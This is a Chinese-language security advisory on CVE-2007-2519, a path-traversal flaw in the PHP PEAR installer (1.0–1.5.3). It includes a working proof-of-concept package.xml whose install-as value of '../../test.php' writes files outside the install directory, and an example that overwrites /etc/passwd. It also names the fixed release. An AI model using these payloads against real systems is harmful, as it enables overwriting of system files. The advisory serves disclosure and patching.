安全研究

安全漏洞
PEAR INSTALL-AS属性任意文件覆盖漏洞

发布日期:2007-05-07
更新日期:2007-05-24

受影响系统:
PHP PEAR 1.0 - 1.5.3
不受影响系统:
PHP PEAR 1.5.4
描述:
BUGTRAQ  ID: 24111
CVE(CAN) ID: CVE-2007-2519

PEAR是“PHP扩展和应用库”的缩写,用于为PHP用户提供结构化的开源代码库。

PEAR的安装属性实现上存在漏洞,本地攻击者可能利用此漏洞覆盖系统文件。

PEAR安装程序没有对package.xml的install-as属性或<install>标签执行验证,允许攻击者向任意位置安装文件,如果PEAR安装程序以特权用户权限运行的话,就可能覆盖关键的系统文件。

用户必须使用PEAR安装程序安装恶意软件包才会受漏洞影响。如果文件包含有类似于以下的install-as属性:

<filelist>
  <dir name="/">
   <file name="INSTALL" role="php" install-as="../../test.php" />
  </dir> <!-- / -->
</filelist>

或类似于以下的<file>/<install>标签:

<contents>
  <dir name="/">
   <file name="INSTALL" role="php" />
  </dir> <!-- / -->
</contents>
...
<phprelease>
  <filelist>
   <install as="../../test.php" name="INSTALL" />
  </filelist>
</phprelease>

则PEAR安装程序就会将INSTALL文件安装到php_dir配置文件所指定最低目录两层之上。例如,如果php_dir为/usr/local/lib/php,install-as属性为 ../../../../etc/passwd,则PEAR安装程序就会覆盖/etc/passwd文件。

<*来源:Gregory Beaver (cellog@php.net
  
  链接:http://pear.php.net/advisory-20070507.txt
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

创建名为INSTALL的文件并保存到当前目录。将以下XML保存为package.xml然后运行pear install package.xml。

如果php_dir是/usr/local/lib/php的话,就会将INSTALL文件安装到/usr/local/test.php。

<?xml version="1.0" encoding="UTF-8"?>
<package version="2.0" xmlns="http://pear.php.net/dtd/package-2.0"
xmlns:tasks="http://pear.php.net/dtd/tasks-1.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd">
<name>Test_Sec</name>
<channel>pear.php.net</channel>
<summary>Test security vulnerability</summary>
<description>demonstrate install-as vulnerability
</description>
<lead>
  <name>Greg Beaver</name>
  <user>cellog</user>
  <email>cellog@php.net</email>
  <active>yes</active>
</lead>
<date>2007-03-05</date>
<version>
  <release>1.6.0</release>
  <api>1.6.0</api>
</version>
<stability>
  <release>stable</release>
  <api>stable</api>
</stability>
<license uri="http://www.php.net/license">PHP License</license>
<notes>
    allow up to latest beta version [tias]
</notes>
<contents>
  <dir name="/">
   <file name="INSTALL" role="php" />
  </dir> <!-- / -->
</contents>
<dependencies>
  <required>
   <php>
    <min>4.3.0</min>
   </php>
   <pearinstaller>
    <min>1.4.3</min>
   </pearinstaller>
  </required>
</dependencies>
<phprelease>
  <filelist>
   <install as="../../test.php" name="INSTALL" />
  </filelist>
</phprelease>

</package>

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://pear.php.net/get/PEAR-1.5.4.tgz

浏览次数:2560
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障